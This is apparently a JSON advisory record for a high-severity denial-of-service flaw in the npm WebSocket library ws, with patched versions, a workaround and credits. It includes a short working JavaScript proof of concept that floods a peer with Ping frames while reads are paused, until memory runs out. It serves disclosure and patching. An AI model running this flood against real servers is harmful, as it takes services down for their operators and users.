{"id":"GHSA-37g9-w4hg-h9qr","summary":"ws: Memory exhaustion DoS via unbounded automatic pong responses","details":"### Impact\n\nA malicious peer can flood the other peer with Ping frames while stopping reads, forcing it to buffer Pong frames that are automatically sent in response until memory is exhausted, leading to process termination due to OOM.\n\n### Proof of concept\n\n```js\nimport { WebSocket, WebSocketServer } from 'ws';\n\nconst wss = new WebSocketServer({ port: 0 }, function () {\n  const data = Buffer.alloc(125);\n  const { port } = wss.address();\n  const ws = new WebSocket(`ws://localhost:${port}`);\n\n  ws.on('open', function () {\n    ws.pause();\n\n    (function ping() {\n      ws.ping(data, function (err) {\n        if (err) return;\n        ping();\n      });\n    })();\n  });\n\n  ws.on('error', console.error);\n  ws.on('close', function (code, reason) {\n    console.log(`client close - code: ${code} reason: ${reason.toString()}`);\n  });\n});\n\nwss.on('connection', function (ws) {\n  ws.on('error', console.error);\n  ws.on('close', function (code, reason) {\n    console.log(`server close - code: ${code} reason: ${reason.toString()}`);\n  });\n});\n```\n\n### Patches\n\nThe vulnerability was fixed in ws@8.23.0 (https://github.com/websockets/ws/commit/ace7248f685b10a87eff882e66c5b37fbee03d63) and backported to ws@7.5.14 (https://github.com/websockets/ws/commit/718c33c8e1ca09a01403eaddea9119b02a63ccfe), ws@6.2.7 (https://github.com/websockets/ws/commit/8a10a6ad25b04b6a02c56d7237792b7e4ade12b7), and ws@5.2.8 (https://github.com/websockets/ws/commit/560e071478550f1227271b09993caff97753f1a1).\n\n### Workarounds\n\nIn vulnerable versions, the issue can be mitigated by enforcing rate-limiting combined with heartbeats, or by setting the `autoPong` option to `false`, if available.\n\n### Credits\n\nThe vulnerability was responsibly disclosed by multiple reporters:\n\n- [Younghun Ko](https://github.com/koyokr)\n- [G0r4ni8](https://github.com/kigma00)\n- [fizzbeom](https://github.com/fizzbeom)\n- [Huynh Cong Hieu](https://github.com/Drakie14)\n- [Joseph Devasia](https://github.com/josephdevasia1)\n- [elba.code](https://github.com/apflffhtm)\n- [Eshan Singh](https://github.com/R0X4R)\n- [Zachariah Mithani](https://github.com/zachariah-mithani)","aliases":["CVE-2026-140009"],"modified":"2026-12-01T18:30:04.110817884Z","published":"2026-12-01T18:12:48Z","database_specific":{"cwe_ids":["CWE-400","CWE-770"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-12-01T18:12:48Z","nvd_published_at":"2026-11-30T22:17:30Z"},"references":[{"type":"WEB","url":"https://github.com/websockets/ws/security/advisories/GHSA-37g9-w4hg-h9qr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140009"},{"type":"WEB","url":"https://github.com/websockets/ws/commit/560e071478550f1227271b09993caff97753f1a1"},{"type":"WEB","url":"https://github.com/websockets/ws/commit/718c33c8e1ca09a01403eaddea9119b02a63ccfe"},{"type":"WEB","url":"https://github.com/websockets/ws/commit/8a10a6ad25b04b6a02c56d7237792b7e4ade12b7"},{"type":"WEB","url":"https://github.com/websockets/ws/commit/ace7248f685b10a87eff882e66c5b37fbee03d63"},{"type":"PACKAGE","url":"https://github.com/websockets/ws"},{"type":"WEB","url":"https://github.com/websockets/ws/releases/tag/5.2.8"},{"type":"WEB","url":"https://github.com/websockets/ws/releases/tag/6.2.7"},{"type":"WEB","url":"https://github.com/websockets/ws/releases/tag/7.5.14"},{"type":"WEB","url":"https://github.com/websockets/ws/releases/tag/8.23.0"}],"affected":[{"package":{"name":"ws","ecosystem":"npm","purl":"pkg:npm/ws"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.2.8"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-37g9-w4hg-h9qr/GHSA-37g9-w4hg-h9qr.json"}},{"package":{"name":"ws","ecosystem":"npm","purl":"pkg:npm/ws"},"ranges":[{"type":"SEMVER","events":[{"introduced":"6.0.0"},{"fixed":"6.2.7"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-37g9-w4hg-h9qr/GHSA-37g9-w4hg-h9qr.json"}},{"package":{"name":"ws","ecosystem":"npm","purl":"pkg:npm/ws"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.0.0"},{"fixed":"7.5.14"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-37g9-w4hg-h9qr/GHSA-37g9-w4hg-h9qr.json"}},{"package":{"name":"ws","ecosystem":"npm","purl":"pkg:npm/ws"},"ranges":[{"type":"SEMVER","events":[{"introduced":"8.0.0"},{"fixed":"8.23.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-37g9-w4hg-h9qr/GHSA-37g9-w4hg-h9qr.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}